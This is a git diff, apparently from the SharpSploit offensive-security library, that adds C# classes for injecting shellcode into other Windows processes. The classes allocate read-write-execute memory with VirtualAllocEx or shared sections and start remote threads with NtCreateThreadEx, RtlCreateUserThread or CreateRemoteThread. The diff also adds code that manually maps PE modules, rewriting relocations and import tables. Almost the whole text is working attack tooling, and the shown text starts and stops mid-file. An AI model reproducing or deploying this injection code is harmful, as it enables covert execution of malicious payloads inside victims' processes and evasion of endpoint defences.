Process Process) + { + + Type[] funcPrototype = new Type[] { Payload.GetType(), typeof(Process) }; + + try + { + // Get delegate to the overload of Allocate that supports the type of payload passed in + MethodInfo allocate = this.GetType().GetMethod("Allocate", funcPrototype); + + // Dynamically invoke the appropriate Allocate overload + return (IntPtr)allocate.Invoke(this, new object[] { Payload, Process }); + } + // If there is no such method + catch (ArgumentNullException) + { + throw new PayloadTypeNotSupported(Payload.GetType()); + } + } + } + + + /// + /// Exception thrown when the payload memory fails to allocate + /// + public class AllocationFailed : Exception + { + public AllocationFailed() { } + + public AllocationFailed(int error) : base(string.Format("Memory failed to allocate with system error code: {0}", error)) { } + } + + /// + /// Exception thrown when the memory fails to write + /// + public class MemoryWriteFailed : Exception + { + public MemoryWriteFailed() { } + + public MemoryWriteFailed(int error) : base(string.Format("Memory failed to write with system error code: {0}", error)) { } + } +} \ No newline at end of file diff --git a/SharpSploit/Execution/Injection/ExecutionTechnique.cs b/SharpSploit/Execution/Injection/ExecutionTechnique.cs new file mode 100644 index 0000000..1de8ff3 --- /dev/null +++ b/SharpSploit/Execution/Injection/ExecutionTechnique.cs @@ -0,0 +1,250 @@ +using System; +using System.Linq; +using System.Reflection; +using System.Diagnostics; + +namespace SharpSploit.Execution.Injection +{ + /// + /// Base class for Injection strategies. + /// + public abstract class ExecutionTechnique + { + + //An array containing a set of PayloadType objects that are supported. + protected Type[] supportedPayloads; + + /// + /// Informs objects using this technique whether or not it supports the type of a particular payload. + /// + /// The Wover (@TheRealWover) + /// A payload. + /// Whether or not the payload is of a supported type for this strategy. + public abstract bool IsSupportedPayloadType(PayloadType payload); + + /// + /// Internal method for setting the supported payload types. Used in constructors. + /// + /// The Wover (@TheRealWover) + abstract internal void DefineSupportedPayloadTypes(); + + /// + /// Inject and execute a payload in the target process using a specific allocation technique. + /// + /// The Wover (@TheRealWover) + /// The type of payload to execute. + /// The allocation technique to use. + /// The target process. + /// bool + public bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, Process Process) + { + Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType(), Process.GetType()}; + + try + { + // Get delegate to the overload of Inject that supports the type of payload passed in + MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype); + + // Dynamically invoke the appropriate Allocate overload + return (bool)inject.Invoke(this, new object[] { Payload, AllocationTechnique, Process }); + } + // If there is no such method + catch (ArgumentNullException) + { + throw new PayloadTypeNotSupported(Payload.GetType()); + } + } + + /// + /// Execute a payload in the target process at a specified address. + /// + /// The Wover (@TheRealWover) + /// The type of payload to execute. + /// The base address of the payload. + /// The target process. + /// bool + public virtual bool Inject(PayloadType Payload, IntPtr BaseAddress, Process Process) + { + Type[] funcPrototype = new Type[] { Payload.GetType(), BaseAddress.GetType(), Process.GetType() }; + + try + { + // Get delegate to the overload of Inject that supports the type of payload passed in + MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype); + + // Dynamically invoke the appropriate Allocate overload + return (bool)inject.Invoke(this, new object[] { Payload, BaseAddress, Process }); + } + // If there is no such method + catch (ArgumentNullException) + { + throw new PayloadTypeNotSupported(Payload.GetType()); + } + } + + /// + /// Execute a payload in the current process using a specific allocation technique. + /// + /// The Wover (@TheRealWover) + /// The type of payload to execute. + /// The allocation technique to use. + /// + public virtual bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique) + { + Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType()}; + + try + { + // Get delegate to the overload of Inject that supports the type of payload passed in + MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype); + + // Dynamically invoke the appropriate Allocate overload + return (bool)inject.Invoke(this, new object[] { Payload, AllocationTechnique }); + } + // If there is no such method + catch (ArgumentNullException) + { + throw new PayloadTypeNotSupported(Payload.GetType()); + } + } + } + + + /// + /// Executes a payload in a remote process by creating a new thread. Allows the user to specify which API call to use for remote thread creation. + /// + public class RemoteThreadCreate : ExecutionTechnique + { + // Publically accessible options + public bool suspended = false; + public APIS api = APIS.NtCreateThreadEx; + + public enum APIS : int + { + NtCreateThreadEx = 0, + // NtCreateThread = 1, // Not implemented + RtlCreateUserThread = 2, + CreateRemoteThread = 3 + }; + + // Handle of the new thread. Only valid after the thread has been created. + public IntPtr handle = IntPtr.Zero; + + /// + /// Default constructor. + /// + public RemoteThreadCreate() + { + DefineSupportedPayloadTypes(); + } + + /// + /// Constructor allowing options as arguments. + /// + public RemoteThreadCreate(bool susp = false, APIS varAPI = APIS.NtCreateThreadEx) + { + DefineSupportedPayloadTypes(); + suspended = susp; + api = varAPI; + } + + /// + /// States whether the payload is supported. + /// + /// The Wover (@TheRealWover) + /// Payload that will be allocated. + /// + public override bool IsSupportedPayloadType(PayloadType Payload) + { + return supportedPayloads.Contains(Payload.GetType()); + } + + /// + /// Internal method for setting the supported payload types. Used in constructors. + /// Update when new types of payloads are added. + /// + /// The Wover (@TheRealWover) + internal override void DefineSupportedPayloadTypes() + { + // Defines the set of supported payload types. + supportedPayloads = new Type[] { + typeof(PICPayload) + }; + } + + public bool Inject(PICPayload Payload, AllocationTechnique AllocationTechnique, Process Process) + { + IntPtr baseAddr = AllocationTechnique.Allocate(Payload, Process); + return Inject(Payload, baseAddr, Process); + } + + /// + /// Create a thread in the remote process. + /// + /// The Wover (@TheRealWover) + /// The shellcode payload to execute in the target process. + /// The address of the shellcode in the target process. + /// The target process to inject into. + /// + public bool Inject(PICPayload Payload, IntPtr BaseAddress, Process Process) + { + IntPtr threadHandle = new IntPtr(); + Native.NTSTATUS result = Native.NTSTATUS.Unsuccessful; + + if (api == APIS.NtCreateThreadEx) + { + // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. + result = DynamicInvoke.Native.NtCreateThreadEx( + ref threadHandle, + Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, + IntPtr.Zero, + Process.Handle, BaseAddress, IntPtr.Zero, + suspended, 0, 0, 0, IntPtr.Zero + ); + } + else if (api == APIS.RtlCreateUserThread) + { + // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. + result = DynamicInvoke.Native.RtlCreateUserThread( + Process.Handle, + IntPtr.Zero, + suspended, + IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, + BaseAddress, + IntPtr.Zero, ref threadHandle, IntPtr.Zero + ); + } + else if (api == APIS.CreateRemoteThread) + { + uint flags = suspended ? (uint)0x00000004 : 0; + IntPtr threadid = new IntPtr(); + + // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. + threadHandle = DynamicInvoke.Win32.CreateRemoteThread( + Process.Handle, + IntPtr.Zero, + 0, + BaseAddress, + IntPtr.Zero, + flags, + ref threadid + ); + + if (threadHandle == IntPtr.Zero) + { + return false; + } + handle = threadHandle; + return true; + } + + // If successful, return the handle to the new thread. Otherwise return NULL + if (result != Native.NTSTATUS.Success) + { + return false; + } + handle = threadHandle; + return true; + } + } +} diff --git a/SharpSploit/Execution/Injection/Injector.cs b/SharpSploit/Execution/Injection/Injector.cs new file mode 100644 index 0000000..f2ffc06 --- /dev/null +++ b/SharpSploit/Execution/Injection/Injector.cs @@ -0,0 +1,37 @@ +using System.Diagnostics; + +namespace SharpSploit.Execution.Injection +{ + /// + /// Provides static functions for performing injection using a combination of Allocation and Execution components. + /// + /// The Wover (@TheRealWover) + public static class Injector + { + /// + /// Inject a payload into a target process using a specified allocation and execution technique. + /// + /// The Wover (@TheRealWover) + /// + /// + /// + /// + /// + public static bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, ExecutionTechnique ExecutionTechnique, Process Process) + { + return ExecutionTechnique.Inject(Payload, AllocationTechnique, Process); + } + + /// + /// Inject a payload into the current process using a specified allocation and execution technique. + /// + /// + /// + /// + /// + public static bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, ExecutionTechnique ExecutionTechnique) + { + return ExecutionTechnique.Inject(Payload, AllocationTechnique); + } + } +} diff --git a/SharpSploit/Execution/Injection/PayloadType.cs b/SharpSploit/Execution/Injection/PayloadType.cs new file mode 100644 index 0000000..97bd0d8 --- /dev/null +++ b/SharpSploit/Execution/Injection/PayloadType.cs @@ -0,0 +1,41 @@ +using System; + +namespace SharpSploit.Execution.Injection +{ + /// + /// Base class for all types of payloads. + /// Variants are responsible for specifying what types of payloads they support. + /// + /// The Wover (@TheRealWover) + public abstract class PayloadType + { + public byte[] Payload { get; private set; } + + // Constructor that requires the user to pass in the payload as a byte array. + protected PayloadType(byte[] data) + { + Payload = data; + } + } + + /// + /// Represents payloads that are position-independent-code. + /// + /// The Wover (@TheRealWover) + public class PICPayload : PayloadType + { + // Declares the constructor as equivalent to that of the base class. + public PICPayload(byte[] data) : base(data) { } + } + + /// + /// Exception thrown when the type of a payload is not supported by a injection variant. + /// + /// The Wover (@TheRealWover) + public class PayloadTypeNotSupported : Exception + { + public PayloadTypeNotSupported() { } + + public PayloadTypeNotSupported(Type payloadType) : base(string.Format("Unsupported Payload type: {0}", payloadType.Name)) { } + } +} diff --git a/SharpSploit/Execution/Injection/SectionMapAllocationTechnique.cs b/SharpSploit/Execution/Injection/SectionMapAllocationTechnique.cs new file mode 100644 index 0000000..385094f --- /dev/null +++ b/SharpSploit/Execution/Injection/SectionMapAllocationTechnique.cs @@ -0,0 +1,212 @@ +using System; +using System.Linq; +using System.Diagnostics; + +namespace SharpSploit.Execution.Injection +{ + /// + /// Allocates a payload to a target process using locally-written, remotely-copied shared memory sections. + /// + public class SectionMapAllocationTechnique : AllocationTechnique + { + // Publically accessible options + + public uint localSectionPermissions = Win32.WinNT.PAGE_EXECUTE_READWRITE; + public uint remoteSectionPermissions = Win32.WinNT.PAGE_EXECUTE_READWRITE; + public uint sectionAttributes = Win32.WinNT.SEC_COMMIT; + + /// + /// Default constructor. + /// + public SectionMapAllocationTechnique() + { + DefineSupportedPayloadTypes(); + } + + /// + /// Constructor allowing options as arguments. + /// + public SectionMapAllocationTechnique(uint localPerms = Win32.WinNT.PAGE_EXECUTE_READWRITE, uint remotePerms = Win32.WinNT.PAGE_EXECUTE_READWRITE, uint atts = Win32.WinNT.SEC_COMMIT) + { + DefineSupportedPayloadTypes(); + localSectionPermissions = localPerms; + remoteSectionPermissions = remotePerms; + sectionAttributes = atts; + } + + /// + /// States whether the payload is supported. + /// + /// The Wover (@TheRealWover) + /// Payload that will be allocated. + /// + public override bool IsSupportedPayloadType(PayloadType Payload) + { + return supportedPayloads.Contains(Payload.GetType()); + } + + /// + /// Internal method for setting the supported payload types. Used in constructors. + /// Update when new types of payloads are added. + /// + /// The Wover (@TheRealWover) + internal override void DefineSupportedPayloadTypes() + { + //Defines the set of supported payload types. + supportedPayloads = new Type[] { + typeof(PICPayload) + }; + } + + /// + /// Allocate the payload to the target process. Handles unknown payload types. + /// + /// The Wover (@TheRealWover) + /// The payload to allocate to the target process. + /// The target process. + /// Base address of allocated memory within the target process's virtual memory space. + public override IntPtr Allocate(PayloadType Payload, Process Process) + { + if (!IsSupportedPayloadType(Payload)) + { + throw new PayloadTypeNotSupported(Payload.GetType()); + } + return Allocate(Payload, Process, IntPtr.Zero); + } + + /// + /// Allocate the payload in the target process. + /// + /// The Wover (@TheRealWover) + /// The PIC payload to allocate to the target process. + /// The target process. + /// The preferred address at which to allocate the payload in the target process. + /// Base address of allocated memory within the target process's virtual memory space. + public IntPtr Allocate(PICPayload Payload, Process Process, IntPtr PreferredAddress) + { + // Get a convenient handle for the target process. + IntPtr procHandle = Process.Handle; + + // Create a section to hold our payload + IntPtr sectionAddress = CreateSection((uint)Payload.Payload.Length, sectionAttributes); + + // Map a view of the section into our current process with RW permissions + SectionDetails details = MapSection(Process.GetCurrentProcess().Handle, sectionAddress, + localSectionPermissions, IntPtr.Zero, Convert.ToUInt32(Payload.Payload.Length)); + + // Copy the shellcode to the local view + System.Runtime.InteropServices.Marshal.Copy(Payload.Payload, 0, details.baseAddr, Payload.Payload.Length); + + // Now that we are done with the mapped view in our own process, unmap it + Native.NTSTATUS result = UnmapSection(Process.GetCurrentProcess().Handle, details.baseAddr); + + // Now, map a view of the section to other process. It should already hold the payload. + + SectionDetails newDetails; + + if (PreferredAddress != IntPtr.Zero) + { + // Attempt to allocate at a preferred address. May not end up exactly at the specified location. + // Refer to MSDN documentation on ZwMapViewOfSection for details. + newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, PreferredAddress, (ulong)Payload.Payload.Length); + } + else + { + newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, IntPtr.Zero, (ulong)Payload.Payload.Length); + } + return newDetails.baseAddr; + } + + /// + /// Creates a new Section. + /// + /// The Wover (@TheRealWover) + /// Max size of the Section. + /// Section attributes (eg. Win32.WinNT.SEC_COMMIT). + /// + private static IntPtr CreateSection(ulong size, uint allocationAttributes) + { + // Create a pointer for the section handle + IntPtr SectionHandle = new IntPtr(); + ulong maxSize = size; + + Native.NTSTATUS result = DynamicInvoke.Native.NtCreateSection( + ref SectionHandle, + 0x10000000, + IntPtr.Zero, + ref maxSize, + Win32.WinNT.PAGE_EXECUTE_READWRITE, + allocationAttributes, + IntPtr.Zero + ); + // Perform error checking on the result + if (result < 0) + { + return IntPtr.Zero; + } + return SectionHandle; + } + + /// + /// Maps a view of a section to the target process. + /// + /// The Wover (@TheRealWover) + /// Handle the process that the section will be mapped to. + /// Handle to the section. + /// What permissions to use on the view. + /// Optional parameter to specify the address of where to map the view. + /// Size of the view to map. Must be smaller than the max Section size. + /// A struct containing address and size of the mapped view. + public static SectionDetails MapSection(IntPtr procHandle, IntPtr sectionHandle, uint protection, IntPtr addr, ulong sizeData) + { + // Copied so that they may be passed by reference but the original value preserved + IntPtr baseAddr = addr; + ulong size = sizeData; + + uint disp = 2; + uint alloc = 0; + + // Returns an NTSTATUS value + Native.NTSTATUS result = DynamicInvoke.Native.NtMapViewOfSection( + sectionHandle, procHandle, + ref baseAddr, + IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, + ref size, disp, alloc, + protection + ); + + // Create a struct to hold the results. + SectionDetails details = new SectionDetails(baseAddr, sizeData); + + return details; + } + + + /// + /// Holds the data returned from NtMapViewOfSection. + /// + public struct SectionDetails + { + public IntPtr baseAddr; + public ulong size; + + public SectionDetails(IntPtr addr, ulong sizeData) + { + baseAddr = addr; + size = sizeData; + } + } + + /// + /// Unmaps a view of a section from a process. + /// + /// The Wover (@TheRealWover) + /// Process to which the view has been mapped. + /// Address of the view (relative to the target process) + /// + public static Native.NTSTATUS UnmapSection(IntPtr hProc, IntPtr baseAddr) + { + return DynamicInvoke.Native.NtUnmapViewOfSection(hProc, baseAddr); + } + } +} diff --git a/SharpSploit/Execution/Injection/VirtualAllocAllocationTechnique.cs b/SharpSploit/Execution/Injection/VirtualAllocAllocationTechnique.cs new file mode 100644 index 0000000..6e05159 --- /dev/null +++ b/SharpSploit/Execution/Injection/VirtualAllocAllocationTechnique.cs @@ -0,0 +1,150 @@ +using System; +using System.Linq; +using System.Diagnostics; +using System.Runtime.InteropServices; + +using SharpSploit.Execution.DynamicInvoke; + +namespace SharpSploit.Execution.Injection +{ + /// + /// Allocates a payload to a target process using VirtualAllocateEx and WriteProcessMemory + /// + /// aus + public class VirtualAllocAllocationTechnique : AllocationTechnique + { + private readonly Win32.Kernel32.AllocationType AllocationType = Win32.Kernel32.AllocationType.Reserve | Win32.Kernel32.AllocationType.Commit; + private readonly Win32.Kernel32.MemoryProtection MemoryProtection = Win32.Kernel32.MemoryProtection.ExecuteReadWrite; + private readonly AllocationAPI AllocAPI = AllocationAPI.VirtualAllocEx; + private readonly WriteAPI Write_API = WriteAPI.WriteProcessMemory; + + public enum AllocationAPI + { + VirtualAllocEx, + NtAllocateVirtualMemory + }; + + public enum WriteAPI + { + WriteProcessMemory, + NtWriteVirtualMemory + }; + + /// + /// Default constructor. + /// + public VirtualAllocAllocationTechnique() + { + DefineSupportedPayloadTypes(); + } + + /// + /// Constructor allowing options as arguments. + /// + public VirtualAllocAllocationTechnique( + Win32.Kernel32.AllocationType AllocationType = Win32.Kernel32.AllocationType.Reserve | Win32.Kernel32.AllocationType.Commit, + Win32.Kernel32.MemoryProtection MemoryProtection = Win32.Kernel32.MemoryProtection.ExecuteReadWrite, + AllocationAPI alloc = AllocationAPI.VirtualAllocEx, + WriteAPI write = WriteAPI.WriteProcessMemory + ) + { + DefineSupportedPayloadTypes(); + this.AllocationType = AllocationType; + this.MemoryProtection = MemoryProtection; + this.AllocAPI = alloc; + this.Write_API = write; + } + + /// + /// States whether the payload is supported. + /// + /// The Wover (@TheRealWover) + /// Payload that will be allocated. + /// + public override bool IsSupportedPayloadType(PayloadType Payload) + { + return supportedPayloads.Contains(Payload.GetType()); + } + + /// + /// Internal method for setting the supported payload types. Used in constructors. + /// Update when new types of payloads are added. + /// + /// The Wover (@TheRealWover) + internal override void DefineSupportedPayloadTypes() + { + //Defines the set of supported payload types. + supportedPayloads = new Type[] { + typeof(PICPayload) + }; + } + + /// + /// Allocate the payload to the target process. Handles unknown payload types. + /// + /// The Wover (@TheRealWover) + /// The payload to allocate to the target process. + /// The target process. + /// Base address of allocated memory within the target process's virtual memory space. + public override IntPtr Allocate(PayloadType Payload, Process Process) + { + if (!IsSupportedPayloadType(Payload)) + { + throw new PayloadTypeNotSupported(Payload.GetType()); + } + return Allocate(Payload, Process, IntPtr.Zero); + } + + /// + /// Allocate the payload in the target process via VirtualAllocEx + WriteProcessMemory + /// + /// The Wover (@TheRealWover), aus (@aus) + /// The PIC payload to allocate to the target process. + /// The target process. + /// The preferred address at which to allocate the payload in the target process. + /// Base address of allocated memory within the target process's virtual memory space. + public IntPtr Allocate(PICPayload Payload, Process Process, IntPtr PreferredAddress = new IntPtr()) + { + // Get a convenient handle for the target process. + IntPtr procHandle = Process.Handle; + // Allocate some memory + IntPtr regionAddress = PreferredAddress; + + if (this.AllocAPI == AllocationAPI.VirtualAllocEx) + { + regionAddress = DynamicInvoke.Win32.VirtualAllocEx(procHandle, PreferredAddress, (uint)Payload.Payload.Length, AllocationType, MemoryProtection); + if (regionAddress == IntPtr.Zero) + { + throw new AllocationFailed(Marshal.GetLastWin32Error()); + } + } + else if (this.AllocAPI == AllocationAPI.NtAllocateVirtualMemory) + { + IntPtr regionSize = new IntPtr(Payload.Payload.Length); + DynamicInvoke.Native.NtAllocateVirtualMemory(procHandle, ref regionAddress, IntPtr.Zero, ref regionSize, AllocationType, (uint)MemoryProtection); + } + + if (this.Write_API == WriteAPI.WriteProcessMemory) + { + // Copy the shellcode to allocated memory + bool retVal = DynamicInvoke.Win32.WriteProcessMemory(procHandle, regionAddress, Payload.Payload, (Int32)Payload.Payload.Length, out _); + if (!retVal) + { + throw new MemoryWriteFailed(Marshal.GetLastWin32Error()); + } + } + else if (this.Write_API == WriteAPI.NtWriteVirtualMemory) + { + GCHandle handle = GCHandle.Alloc(Payload.Payload, GCHandleType.Pinned); + IntPtr payloadPtr = handle.AddrOfPinnedObject(); + uint BytesWritten = DynamicInvoke.Native.NtWriteVirtualMemory(procHandle, regionAddress, payloadPtr, (uint)Payload.Payload.Length); + if (BytesWritten != (uint)Payload.Payload.Length) + { + throw new MemoryWriteFailed(0); + } + } + + return regionAddress; + } + } +} diff --git a/SharpSploit/Execution/ManualMap/Map.cs b/SharpSploit/Execution/ManualMap/Map.cs new file mode 100644 index 0000000..79cc0d2 --- /dev/null +++ b/SharpSploit/Execution/ManualMap/Map.cs @@ -0,0 +1,572 @@ +using System; +using System.IO; +using System.Collections.Generic; +using System.Runtime.InteropServices; + +using Execute = SharpSploit.Execution; + +namespace SharpSploit.Execution.ManualMap +{ + /// + /// Class for manually mapping PEs. + /// + public class Map + { + + /// + /// Maps a DLL from disk into a Section using NtCreateSection. + /// + /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec) + /// Full path fo the DLL on disk. + /// PE.PE_MANUAL_MAP + public static PE.PE_MANUAL_MAP MapModuleFromDisk(string DLLPath) + { + // Check file exists + if (!File.Exists(DLLPath)) + { + throw new InvalidOperationException("Filepath not found."); + } + + // Open file handle + Execute.Native.UNICODE_STRING ObjectName = new Execute.Native.UNICODE_STRING(); + DynamicInvoke.Native.RtlInitUnicodeString(ref ObjectName, (@"\??\" + DLLPath)); + IntPtr pObjectName = Marshal.AllocHGlobal(Marshal.SizeOf(ObjectName)); + Marshal.StructureToPtr(ObjectName, pObjectName, true); + + Execute.Native.OBJECT_ATTRIBUTES objectAttributes = new Execute.Native.OBJECT_ATTRIBUTES(); + objectAttributes.Length = Marshal.SizeOf(objectAttributes); + objectAttributes.ObjectName = pObjectName; + objectAttributes.Attributes = 0x40; // OBJ_CASE_INSENSITIVE + + Execute.Native.IO_STATUS_BLOCK ioStatusBlock = new Execute.Native.IO_STATUS_BLOCK(); + + IntPtr hFile = IntPtr.Zero; + DynamicInvoke.Native.NtOpenFile( + ref hFile, + Execute.Win32.Kernel32.FileAccessFlags.FILE_READ_DATA | + Execute.Win32.Kernel32.FileAccessFlags.FILE_EXECUTE | + Execute.Win32.Kernel32.FileAccessFlags.FILE_READ_ATTRIBUTES | + Execute.Win32.Kernel32.FileAccessFlags.SYNCHRONIZE, + ref objectAttributes, ref ioStatusBlock, + Execute.Win32.Kernel32.FileShareFlags.FILE_SHARE_READ | + Execute.Win32.Kernel32.FileShareFlags.FILE_SHARE_DELETE, + Execute.Win32.Kernel32.FileOpenFlags.FILE_SYNCHRONOUS_IO_NONALERT | + Execute.Win32.Kernel32.FileOpenFlags.FILE_NON_DIRECTORY_FILE + ); + + // Create section from hFile + IntPtr hSection = IntPtr.Zero; + ulong MaxSize = 0; + Execute.Native.NTSTATUS ret = DynamicInvoke.Native.NtCreateSection( + ref hSection, + (UInt32)Execute.Win32.WinNT.ACCESS_MASK.SECTION_ALL_ACCESS, + IntPtr.Zero, + ref MaxSize, + Execute.Win32.WinNT.PAGE_READONLY, + Execute.Win32.WinNT.SEC_IMAGE, + hFile + ); + + // Map view of file + IntPtr pBaseAddress = IntPtr.Zero; + DynamicInvoke.Native.NtMapViewOfSection( + hSection, (IntPtr)(-1), ref pBaseAddress, + IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, + ref MaxSize, 0x2, 0x0, + Execute.Win32.WinNT.PAGE_READWRITE + ); + + // Prepare return object + PE.PE_MANUAL_MAP SecMapObject = new PE.PE_MANUAL_MAP + { + PEINFO = DynamicInvoke.Generic.GetPeMetaData(pBaseAddress), + ModuleBase = pBaseAddress + }; + + return SecMapObject; + } + + /// + /// Allocate file to memory from disk + /// + /// Ruben Boonen (@FuzzySec) + /// Full path to the file to be alloacted. + /// IntPtr base address of the allocated file. + public static IntPtr AllocateFileToMemory(string FilePath) + { + if (!File.Exists(FilePath)) + { + throw new InvalidOperationException("Filepath not found."); + } + + byte[] bFile = File.ReadAllBytes(FilePath); + return AllocateBytesToMemory(bFile); + } + + /// + /// Allocate a byte array to memory + /// + /// Ruben Boonen (@FuzzySec) + /// Byte array to be allocated. + /// IntPtr base address of the allocated file. + public static IntPtr AllocateBytesToMemory(byte[] FileByteArray) + { + IntPtr pFile = Marshal.AllocHGlobal(FileByteArray.Length); + Marshal.Copy(FileByteArray, 0, pFile, FileByteArray.Length); + return pFile; + } + + /// + /// Relocates a module in memory. + /// + /// Ruben Boonen (@FuzzySec) + /// Module meta data struct (PE.PE_META_DATA). + /// Base address of the module in memory. + /// void + public static void RelocateModule(PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase) + { + PE.IMAGE_DATA_DIRECTORY idd = PEINFO.Is32Bit ? PEINFO.OptHeader32.BaseRelocationTable : PEINFO.OptHeader64.BaseRelocationTable; + Int64 ImageDelta = PEINFO.Is32Bit ? (Int64)((UInt64)ModuleMemoryBase - PEINFO.OptHeader32.ImageBase) : + (Int64)((UInt64)ModuleMemoryBase - PEINFO.OptHeader64.ImageBase); + + // Ptr for the base reloc table + IntPtr pRelocTable = (IntPtr)((UInt64)ModuleMemoryBase + idd.VirtualAddress); + Int32 nextRelocTableBlock = -1; + // Loop reloc blocks + while (nextRelocTableBlock != 0) + { + PE.IMAGE_BASE_RELOCATION ibr = new PE.IMAGE_BASE_RELOCATION(); + ibr = (PE.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(pRelocTable, typeof(PE.IMAGE_BASE_RELOCATION)); + + Int64 RelocCount = ((ibr.SizeOfBlock - Marshal.SizeOf(ibr)) / 2); + for (int i = 0; i < RelocCount; i++) + { + // Calculate reloc entry ptr + IntPtr pRelocEntry = (IntPtr)((UInt64)pRelocTable + (UInt64)Marshal.SizeOf(ibr) + (UInt64)(i * 2)); + UInt16 RelocValue = (UInt16)Marshal.ReadInt16(pRelocEntry); + + // Parse reloc value + // The type should only ever be 0x0, 0x3, 0xA + // https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#base-relocation-types + UInt16 RelocType = (UInt16)(RelocValue >> 12); + UInt16 RelocPatch = (UInt16)(RelocValue & 0xfff); + + // Perform relocation + if (RelocType != 0) // IMAGE_REL_BASED_ABSOLUTE (0 -> skip reloc) + { + try + { + IntPtr pPatch = (IntPtr)((UInt64)ModuleMemoryBase + ibr.VirtualAdress + RelocPatch); + if (RelocType == 0x3) // IMAGE_REL_BASED_HIGHLOW (x86) + { + Int32 OriginalPtr = Marshal.ReadInt32(pPatch); + Marshal.WriteInt32(pPatch, (OriginalPtr + (Int32)ImageDelta)); + } + else // IMAGE_REL_BASED_DIR64 (x64) + { + Int64 OriginalPtr = Marshal.ReadInt64(pPatch); + Marshal.WriteInt64(pPatch, (OriginalPtr + ImageDelta)); + } + } + catch + { + throw new InvalidOperationException("Memory access violation."); + } + } + } + + // Check for next block + pRelocTable = (IntPtr)((UInt64)pRelocTable + ibr.SizeOfBlock); + nextRelocTableBlock = Marshal.ReadInt32(pRelocTable); + } + } + + /// + /// Rewrite IAT for manually mapped module. + /// + /// Ruben Boonen (@FuzzySec) + /// Module meta data struct (PE.PE_META_DATA). + /// Base address of the module in memory. + /// void + public static void RewriteModuleIAT(PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase) + { + PE.IMAGE_DATA_DIRECTORY idd = PEINFO.Is32Bit ? PEINFO.OptHeader32.ImportTable : PEINFO.OptHeader64.ImportTable; + + // Check if there is no import table + if (idd.VirtualAddress == 0) + { + // Return so that the rest of the module mapping process may continue. + return; + } + + // Ptr for the base import directory + IntPtr pImportTable = (IntPtr)((UInt64)ModuleMemoryBase + idd.VirtualAddress); + + // Get API Set mapping dictionary if on Win10+ + Execute.Native.OSVERSIONINFOEX OSVersion = new Execution.Native.OSVERSIONINFOEX(); + DynamicInvoke.Native.RtlGetVersion(ref OSVersion); + Dictionary ApiSetDict = new Dictionary(); + if (OSVersion.MajorVersion >= 10) + { + ApiSetDict = DynamicInvoke.Generic.GetApiSetMapping(); + } + + // Loop IID's + int counter = 0; + Execute.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR iid = new Execute.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR(); + iid = (Execute.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR)Marshal.PtrToStructure( + (IntPtr)((UInt64)pImportTable + (uint)(Marshal.SizeOf(iid) * counter)), + typeof(Execute.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR) + ); + while (iid.Name != 0) + { + // Get DLL + string DllName = string.Empty; + try + { + DllName = Marshal.PtrToStringAnsi((IntPtr)((UInt64)ModuleMemoryBase + iid.Name)); + } + catch { } + + // Loop imports + if (DllName == string.Empty) + { + throw new InvalidOperationException("Failed to read DLL name."); + } + else + { + // API Set DLL? + if (OSVersion.MajorVersion >= 10 && (DllName.StartsWith("api-") || DllName.StartsWith("ext-")) && + ApiSetDict.ContainsKey(DllName) && ApiSetDict[DllName].Length > 0) + { + // Not all API set DLL's have a registered host mapping + DllName = ApiSetDict[DllName]; + } + + // Check and / or load DLL + IntPtr hModule = DynamicInvoke.Generic.GetLoadedModuleAddress(DllName); + if (hModule == IntPtr.Zero) + { + hModule = DynamicInvoke.Generic.LoadModuleFromDisk(DllName); + if (hModule == IntPtr.Zero) + { + throw new FileNotFoundException(DllName + ", unable to find the specified file."); + } + } + + // Loop thunks + if (PEINFO.Is32Bit) + { + PE.IMAGE_THUNK_DATA32 oft_itd = new PE.IMAGE_THUNK_DATA32(); + for (int i = 0; true; i++) + { + oft_itd = (PE.IMAGE_THUNK_DATA32)Marshal.PtrToStructure((IntPtr)((UInt64)ModuleMemoryBase + iid.OriginalFirstThunk + (UInt32)(i * (sizeof(UInt32)))), typeof(PE.IMAGE_THUNK_DATA32)); + IntPtr ft_itd = (IntPtr)((UInt64)ModuleMemoryBase + iid.FirstThunk + (UInt64)(i * (sizeof(UInt32)))); + if (oft_itd.AddressOfData == 0) + { + break; + } + + if (oft_itd.AddressOfData < 0x80000000) // !IMAGE_ORDINAL_FLAG32 + { + IntPtr pImpByName = (IntPtr)((UInt64)ModuleMemoryBase + oft_itd.AddressOfData + sizeof(UInt16)); + IntPtr pFunc = IntPtr.Zero; + pFunc = DynamicInvoke.Generic.GetNativeExportAddress(hModule, Marshal.PtrToStringAnsi(pImpByName)); + + // Write ProcAddress + Marshal.WriteInt32(ft_itd, pFunc.ToInt32()); + } + else + { + ulong fOrdinal = oft_itd.AddressOfData & 0xFFFF; + IntPtr pFunc = IntPtr.Zero; + pFunc = DynamicInvoke.Generic.GetNativeExportAddress(hModule, (short)fOrdinal); + + // Write ProcAddress + Marshal.WriteInt32(ft_itd, pFunc.ToInt32()); + } + } + } + else + { + PE.IMAGE_THUNK_DATA64 oft_itd = new PE.IMAGE_THUNK_DATA64(); + for (int i = 0; true; i++) + { + oft_itd = 